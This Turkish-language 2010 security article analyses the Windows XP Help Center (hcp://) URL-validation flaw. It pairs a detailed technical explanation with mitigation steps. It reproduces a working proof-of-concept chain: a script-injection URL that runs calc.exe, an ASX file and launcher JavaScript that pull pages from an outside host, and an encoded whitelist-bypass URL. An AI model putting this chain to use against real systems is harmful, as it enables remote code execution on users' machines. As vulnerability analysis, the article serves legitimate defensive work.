spacer.png, 0 kB
Bilgi için: bilgi at bilgiguvenligi gov tr   

 

spacer.png, 0 kB
spacer.png, 0 kB
Yazarın bu bölümdeki diğer yazıları...
HCP Protokolü ve URL Doğrulama Zaafı Yazdır E-posta
Mustafa Serhat Dündar, Ondokuz Mayıs Üni.   
17.07.2010

10 Haziran 2010 tarihinde Windows XP'leri etkileyen ciddi bir zaaf keşfedildi, bu zaaf sadece Windows XP ve Server 2003'lere etki etmekle beraber, HCP  protokolünü kullanmakta. Üstelik HCP protokolünün yarattığı ilk zaafiyet de değil bu. 2003 yılında "KB825119 " ismiyle yayınlanan güncelleştirme paketi de yine HCP protokolü kullanılarak, saldırgan tarafından hazırlanmış bir URL'nin kurbanın bilgisayarında çalıştırılması ve zaafın exploit edilmesiyle sağlanan uzaktan kod çalıştırabilme açığını düzeltmek için yayınlanmıştı.

Ben blogumda 12 Haziran günü "Ne Kadar Süre Tanımalıyız " başlıklı yazımda bu durumdan bahsetmiştim, 18 Haziran'da ise Milliyet Gazetesi ' nde bu olay haber oldu. Bu makalede bu zaafiyet teknik detaylarıyla incelenecektir.

Helpctr Nedir?

Helpctr.exe dosyası parametresiz kullanıldığı taktirde, Windows XP'de Windows Yardım ve Destek Merkezini başlatır.

Parametreli kullanımda sözdizimi ise şu şekildedir : helpctr [/url [URL]] [/mode [URL]] [/hidden] [/fromstarthelp]

Parametreleri inceleyecek olursak:

/url[URL] Windows Yardım ve Destek Merkezi altında görüntülemek istediğiniz yardım sayfasının URL'sini girebilirsiniz.

/mode[URL] Windows Yardım ve Destek Merkezi'nin düzen, sözdizimi ve içeriğini kontrol eden Launch_Description.dtd şeması ile çalışan bir XML tanım dosyası belirtir.

/hidden Bir arayüz göstermeksizin Windows Yardım ve Destek Merkezi'ni başlatır. Bu komut ile bir yardım konusu yine arayüz gösterilmeden yüklenebilir. Uzaktan yönetilen script çalıştırma işlemlerinde kullanılabilir (sistem yöneticileri vs.)

/fromstarthelp Yardım ve Destek Merkezi'nin yeni bir kopyasını başlatır.

/?  Komut satırında yardım seçeneklerini görüntüler

( [URL] içerisinde belirteceğiniz URL'leri, süssüz çift tırnak içerisinde de belirtebilirsiniz. ["www.serhatdundar.com"] gibi. )

HCP Protokolü Nedir?

HCP; Windows XP altında ki "Windows Yardım ve Destek Merkezi" için kullanılan bir protokoldür. HCP prokolünü içeren çeşitli URL'ler sayesinde Yardım ve Destek Merkezi'nin çeşitli yönetim birimlerine kısayoldan ulaşılabiliyor.

Bu URL'lerden bir kısmını örneklemek gerekirse :

Yardım ve Destek Merkezi Ana Sayfası ==> hcp://system/HomePage.htm

Windows Yardım Paylaşımı  ==> hcp://system/panels/sharehelp.htm

Yardım ve Destek Detaylı Arama Sayfası ==> hcp://system/panels/AdvSearch.htm

Network Tanılayıcılar ==> hcp://system/netdiag/dglogs.htm

Windows Güncelleme Merkezi ==> hcp://system/updatectr/updatecenter.htm

Program Uyumluluk Sihirbazı ==> hcp://system/compatctr/compatmode.htm

Sistem Konfigürasyon Aracı ==> hcp://system/sysinfo/sysConfigLaunch.htm

Genel Sistem Bilgisi ==> hcp://system/sysinfo/sysInfoSum.htm

Yüklü Donanımlar ==>   hcp://system/sysinfo/sysComponentInfo.htm

Yüklü Microsoft Yazılımları ==> hcp://system/sysinfo/sysSoftwareInfo.htm

Sistem Donanım ve Yazılım Durumu (Stabilitesi) ==> hcp://system/sysinfo/sysHealthInfo.htm

Detaylı Sistem Bilgisi ==> hcp://system/sysinfo/sysInfoLaunch.htm

Çalışan Windows Servisleri ==> hcp://system/sysinfo/sysServicesInfo.htm

Kullanıcı Grupları İzin Ayarları ==> hcp://system/sysinfo/RSoP.htm

Hata Kayıtları ==> hcp://system/sysinfo/sysEvtLogInfo.htm

Microsoft Sistem Bilgisi ==> hcp://system/sysinfo/msinfo.htm

Uzak Asistan Teklifi ==> hcp://CN=Microsoft Corporation,L=Redmond,S=Washington,C=US/Remote Assistance/Escalation/Unsolicited/unsolicitedrcui.htm

Uzak Asistan sayesinde güvendiğiniz birine yardım çağrısında bulunma ==> hcp://CN=MicrosoftCorporation,L=Redmond,S=Washington,C=US/Remote Assistance/Escalation/Common/rcscreen1.htm

Geniş çevreler tarafından kullanımının güvenli olduğu düşünülen HCP protokolü; kayıtlı komut satırı parametresi olan /fromhcp ile çağırıldığında yardım merkezi uygulamasına geçer. Bu yöntem ile yardım merkezi uygulaması, sadece bir takım yardım dökümanı ve parametrenin çalışmasına izin veren kısıtlı bir modda açılır.

Service Pack 2'de dahil edilen bu metod bize; daha güvenli bir yol olan, güvenilir online dökümanların bir listesi ile çalışma imkanı tanır. (whitelist)

Zaafın Temeline Teknik Bir İnceleme

URL'leri doğrulama için normalleştiren ve kaçış dizilerinden arındırmak için kullanılan MPC::HTML::UrlUnescapeW() fonksiyonu, kaçış dizilerini orjinal karakterlere çevirmekte kullanılan MPC::HexToNum() fonksiyonunun kullandığı döndürülmüş kodu kontrol etmiyor ve bu yüzden std::strings üzerinde ki beklenmedik çöp dizileri ile manipüle edilebiliyor.

Bu hata çok kötü bir durummuş gibi görünmese de, kodun ileri ki kısımlarında /fromhcp whitelist'in den kaçmak için hatalı işlemler döndürmemize olanak sağlıyor.

Doğal yollardan herhangi bir yardım dökümanına erişebildiğimizi farzedersek (MPC:: hataları ile bu dökümana erişme yolları ileri de anlatılacak), bu dökümana erişimde kullanılan, tamamen URL üzerinden kontrol edebileceğimiz bir döküman önceden tanımlı olmalı (Yazı içerisinde ki HCP Protokolü Nedir? kısmı emsal alınabilir). Peki ya daha önceden tanımlanmamış bir dökümana aynı yollardan erişmek istersek?
Standart install işlemi ile yüklenmiş dökümanlara göz attıktan sonra, bunu yapmanın tek yolunun bir XSS (Cross Site Scriptin) hatası olduğunu anlayabiliriz. Dikkatli bir incelemeden sonra sizde böyle birşey keşfedebilirsiniz :

hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1>

Bu yardım dökümanı standart windows yüklemesi sonucu bize hazır olarak geliyor ve sysinfo/commonFunc.js scriptinin içindeki GetServerName() fonksiyonunun yetersiz kaçış ve filtreleme özellikleri yüzünden bu sayfa DOM-type XSS saldırılarına maruz kalıyor. Eğer en baştan, '=' (eşittir), '"' (çift tırnak) veya diğer karakterler tanımlansaydı, kaçış ve filtreleme özellikleri ile encode işlemi sonlandırılabilirdi.

Bu hatanın hala exploit edilebilir olduğu kesinleşmiş değil, <img src=zararliicerik onerror=kod> ve <script>kod</script> gibi basit hileler hiçbir işe yaramıyor. Bu gibi durumlarda browser güvenliği adımlarını dikkatlice inceleyip analiz etmek işimizi görebilir. Özetle belirtmek gerekirse; alışık olduğumuz XSS saldırı metodları işe yaramadı ve alternatif yollar aramaya koyulduk.

<script defer>code</script>

Bu adreste anlatılan IE'ye mahsus "defer" özelliği ile problemi çözebiliriz. Şimdi bu ufak hileyi öğrendik ve bu hile ile basitçe komut çalıştırabileceğimizi biliyoruz çünkü bu yardım dökümanı ayrıcalıklı alanda (whitelist) barınıyor.

Komut satırında, aşağıda ki şekilde bu öğrendiklerinizi test edebilirsiniz :

C:\> ver

Microsoft Windows XP [Version 5.1.2600]

C:\>c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>"

C:\>


Şuan yaptığımız işlem bir açıktan ziyade eğlence gibi dursada, bu işlem 3.parti güvenilmeyen bir yazılım tarafından size yaptırılırsa hiçte eğlenceli olmayabilir. Belirttiğimiz işletim sistemleri üzerinde (Windows XP ve Server 2003), IE (8 ve üstü), Firefox ve Chrome ile hcp:// URL'lere erişmeye çalıştığınızda muhtemelen başarılı bir sonuç alacaksınız. Bir çok kullanıcı hcp:// protokolünün güvenli olduğunu düşünür ve hcp URL'lere tıklamaktan çekinmez.

Windows XP üzerinde çalışan tüm browser'lardan bu zaafı kaçırabilmek için bir yol var aslında. ASX HtmlView elementi içinde ki bir <iframe> nesnesi ile hcp protokolünü çağırarak sorunu çözebiliyoruz. (bknz: ASX )

Saldırı yaklaşık olarak şu şekilde görünecek :

$ cat simple.asx

<ASX VERSION="3.0">

<PARAM name="HTMLView" value="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html"/>

<ENTRY>

<REF href="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/bug-vs-feature.jpg"/>

</ENTRY>

</ASX>

Starthelp.html ise şu şekilde olabilir :

$ cat starthelp.html

<iframe src="hcp://...">


Bir kullanıcının .asx dosyasını okumasını sağlatmak için, javascript kullanabiliriz :

$ cat launchurl.html

<html>

<head><title>Testing HCP</title></head>

<body>

<h1>OK</h1>

<script>

// HCP:// Vulnerability, Tavis Ormandy, June 2010.

var asx = "http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/simple.asx";;


if (window.navigator.appName == "Microsoft Internet Explorer") {

// Internet Explorer

var o = document.createElement("OBJECT");

o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");

o.openPlayer(asx);

} else {

// Mozilla, Chrome, Etc.

var o = document.createElement("IFRAME");

o.setAttribute("src", asx);

document.body.appendChild(o);

}

</script>

</body>

</html>


Sistemlerin birlikte işleyişi, çoklu ve uyumlu çalışmaları aşağıda ki durumlarda işimize yarayabilir :

  • Html sayfaları, emailleri, dökümanları ve diğer uygulamaları HtmlView elementini içeren bir .asx dosyasını kullanıcıya çalıştırtmak için kullanırız.

  • HtmlView elementi ile, normalde doğrulama gerektiren hcp protokolünü doğrulamaya ihtiyaç duymadan çağırırız.

  • HCP protokol işleci ile, MPC::HexToNum()'ın döndürdüğü kodu kontrol edememesi sonucunda oluşan hatalı hesaplamalar sayesinde /fromhcp whitelist'i bypass edilebilir.

  • Whitelist bir kez bypass edildiğinde; yardım dökümanı, GetServerName()'e bağlı olan bilindik bir DOM XSS açığı ile çağrılabilir.

  • wscript.shell nesnesini kullanarak herhangi bir komut çağırırız.

MCP::HexToNum() hatasının, /fromhcp whitelist'ini aşmak için nasıl kullanıldığını görelim :

hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%

A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%

%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A

%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%

A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3

Cscript%20defer%3Eeval%28unescape%28%27Run%2528%2522calc.exe%2522%2529%27%29%29%

3C/script%3E

Windows XP kurumu ile default olarak gelen IE 8 ve Media Player 9 için bir örneği aşağıdan izleyebilirsiniz :

http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/launchurl.html

Windows XP üzerinde ki IE7 için ise aşağıda ki URL'yi ziyaret edebilirsiniz :

http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html

Norton Internet Security yüklü Windows 7 işletim sistemine sahip bilgisayarımda bu URL'yi görüntülemek istediğimde tehdit anında yakalanıyor :
1.jpg

 Saldırı detaylarını incelersek :

2.jpg

Korunma Yolları

HCP Protokolünü Silmek

  1. Windows kayıt defterine ulaşın. (Run/regedit)

  2. HKEY_CLASSES_ROOT anahtarına erişin

  3. HCP isimli anahtarı bulun ve silin.

( Kayıt defterinde yapılacak değişiklikler, sistemin işleyişini etkiler. Bu yüzden her zaman kayıt defterinizin yedeğini almanız ve eğer ne yaptığınıza dair bir fikriniz yoksa bu işlemi yapmamanız önerilir. )

Bu işlemden sonra artık sisteminizde "hcp://" ile başlayan hiçbir link çalışmayacaktır.

Microsoft HotFix

Bu adresten yayınlanan hotfix'i indirebilirsiniz.

Browser Plugin'lerini Kapatmak

Kullandığınız browser'ların tüm pluginlerini kapatabilirsiniz ve SFS ActiveX nesnelerini iptal edebilirsiniz.

Firefox'ta bu işlemi Araçlar/Eklentiler sekmesinden,

İE'de Araçlar/Eklentileri Yönet sekmesinden,
3.jpg

Chrome'da adres çubuğuna about:plugins yazarak,

Opera'da adres çubuğuna opera:plugins yazarak yapabilirsiniz.

Referanslar

[ 1 ] http://www.shavedape.com.au/jedi/hotlinks/windowsxp-hcp-links.htm

[ 2 ] http://technet.microsoft.com/en-us/library/bb490918.aspx

[ 3 ] http://seclists.org/fulldisclosure/2010/Jun/205


Favori olarak ekle (0) | Görüntüleme sayısı: 355

Bu yazıya ilk yorumu yazın

Sadece kayıtlı kullanıcılar yorum yazabilir.
Lütfen sisteme giriş yapın veya kayıt olun.

 
spacer.png, 0 kB
spacer.png, 0 kB
Copyright 2010 TÜBİTAK-UEKAE. Sitenin teknik altyapısında Joomla kullanılmıştır. Yazar ve site referans gösterilmeden alıntı yapılamaz. Görüşleriniz
spacer.png, 0 kB